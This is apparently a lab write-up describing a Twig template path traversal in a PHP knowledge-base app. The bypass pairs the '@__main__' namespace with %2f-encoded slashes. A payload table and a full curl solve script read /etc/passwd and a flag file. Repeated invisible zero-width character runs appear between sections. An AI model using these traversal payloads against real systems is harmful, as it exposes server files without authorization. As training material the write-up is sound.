← Back to Writeups
CUSTOMMediumWeb

Lab 158 — PageCraft — Twig Template Path Traversal via Namespace Bypass

XESXOR9/10/20264 min read
#web#custom#medium#path_traversal_via_encoded_sep#twig_main_namespace_abuse#twig_namespace_path_traversal#url_encoded_slash_bypass#validation_bypass_via_namespac#linux

Lab 158 — PageCraft — Twig Template Path Traversal via Namespace Bypass

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: path_traversal_via_encoded_separators, twig_main_namespace_abuse, twig_namespace_path_traversal, url_encoded_slash_bypass, validation_bypass_via_namespace_prefix

Summary

Task: PHP/Twig knowledge base with layout query parameter controlling template rendering; direct path traversal blocked. Solution: Bypassed validation using Twig @main namespace prefix combined with URL-encoded slashes (%2f) to traverse out of templates directory and read /app/root/flag.txt.

Lab 158 — PageCraft — Twig Template Path Traversal via Namespace Bypass — HackAdvisor

Description

PageCraft is a collaborative knowledge base platform built by NexaDocs Inc. for engineering teams. The application features article creation with HTML content support, multiple display layout templates, full-text search, category organization, and team collaboration tools. Users can customize how articles appear by selecting from various layout templates (Default, Minimal, Documentation, Wide) using a dropdown selector on each article page. The selected template name is passed via the layout query parameter. The objective is to find a way to read sensitive files stored on the server that should not be accessible through the web application. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

A PHP 8.1 application using Twig 3.4 template engine behind nginx 1.25.5. The layout query parameter on article pages controls which Twig template is rendered. The application validates against path traversal (../) but the validation can be bypassed by combining Twig's @__main__ namespace prefix with URL-encoded path separators (%2f), allowing arbitrary file read outside the templates directory.

Analysis

Initial Reconnaissance

  • Server stack: nginx/1.25.5, PHP/8.1.32
  • Template engine: Twig 3.4 (mentioned in footer)
  • CSS framework: Bulma
  • Credentials: user@test.com / password123
  • Login: POST /login with email and password fields, no CSRF token, 302 redirect on success
  • Key endpoints: /articles/{id}, /templates, /search
  • Layout parameter: ?layout=layouts/default.twig on article pages ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Template Structure Discovery

Tested which template files exist by using them as the layout parameter:

PathResult
layouts/default.twig200 ✓ (default layout)
layouts/minimal.twig200 ✓
layouts/documentation.twig200 ✓
layouts/wide.twig200 ✓
base.twig200 ✓ (templates root)
error.twig200 ✓
search.twig, login.twig, register.twig, profile.twig200 ✓
@__main__/layouts/default.twig200 ✓ (namespace works)
@__main__/base.twig200 ✓
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This confirmed the Twig FilesystemLoader accepts the @__main__ namespace prefix and the templates directory contains standard Twig files.

Path Traversal Validation Analysis

Systematically tested traversal patterns to understand the validation:

PayloadResultConclusion
../../../etc/passwd500Direct ../ blocked
layouts/../../etc/passwd500Traversal from subdirectory blocked
@__main__/../../../etc/passwd500Namespace + raw ../ blocked
layouts/..%2fbase.twig200 ✓URL-encoded slash works within templates dir
layouts/..%2f..%2f..%2fetc%2fpasswd500Encoded traversal outside templates blocked
@__main__%2flayouts%2f..%2f..%2fetc%2fpasswd200 ✓Namespace + encoded slashes bypasses validation!
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Root Cause

The validation logic checks for ../ patterns in the raw input string but fails when:

  1. The @__main__ namespace prefix is present — the validator likely treats namespace-prefixed paths differently or skips validation for them
  2. The slash immediately after @__main__ is URL-encoded (%2f) — this prevents the validator from recognizing the path structure
  3. Twig's FilesystemLoader subsequently decodes the URL-encoded path and resolves it normally, allowing traversal outside the templates directory ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The mismatch between application-level validation (string-based pattern matching) and Twig's path resolution (URL-decode then resolve) creates the bypass.

Solution

Step 1: Login and obtain session

bash
URL="https://a054b3b4-cf82-4c66-872a-35c90fedde17.labs.hackadvisor.io"

curl -sv -c cookies.txt -X POST "$URL/login" \
  -d "email=user@test.com&password=password123" \
  -L -o /dev/null

Step 2: Confirm template loading via layout parameter

bash
# Default layout works
curl -sb cookies.txt "$URL/articles/17?layout=layouts/default.twig" -o /dev/null -w "%{http_code}"
# 200
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Namespace prefix works
curl -sb cookies.txt "$URL/articles/17?layout=@__main__/layouts/default.twig" -o /dev/null -w "%{http_code}"
# 200

Step 3: Test path traversal bypass with /etc/passwd

bash
# Direct traversal — blocked
curl -sb cookies.txt "$URL/articles/17?layout=../../../etc/passwd" -o /dev/null -w "%{http_code}"
# 500

# Namespace + URL-encoded slashes — bypasses validation!
curl -sb cookies.txt "$URL/articles/17?layout=@__main__%2flayouts%2f..%2f..%2fetc%2fpasswd" -o /dev/null -w "%{http_code}"
# 200 — /etc/passwd contents rendered

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Read the flag

The templates directory is at /app/templates/, so ../../root/flag.txt traverses to /app/root/flag.txt:

bash
curl -sb cookies.txt \
  "$URL/articles/17?layout=@__main__%2flayouts%2f..%2f..%2froot%2fflag.txt"

The server rendered the contents of the flag file in the response body.

Solve Script (Complete)

bash
#!/bin/bash
# PageCraft — Twig Template Path Traversal via @__main__ Namespace Bypass
# Lab 158 — HackAdvisor

URL="https://a054b3b4-cf82-4c66-872a-35c90fedde17.labs.hackadvisor.io"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# 1. Login
curl -s -c cookies.txt -X POST "$URL/login" \
  -d "email=user@test.com&password=password123" \
  -L -o /dev/null

# 2. Read flag via namespace path traversal bypass
# Templates dir: /app/templates/
# Target: /app/root/flag.txt (../../root/flag.txt from templates/layouts/)
FLAG=$(curl -sb cookies.txt \
  "$URL/articles/17?layout=@__main__%2flayouts%2f..%2f..%2froot%2fflag.txt" \
  | grep -oP 'FLAG\{[^}]+\}')

echo "Flag: $FLAG"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍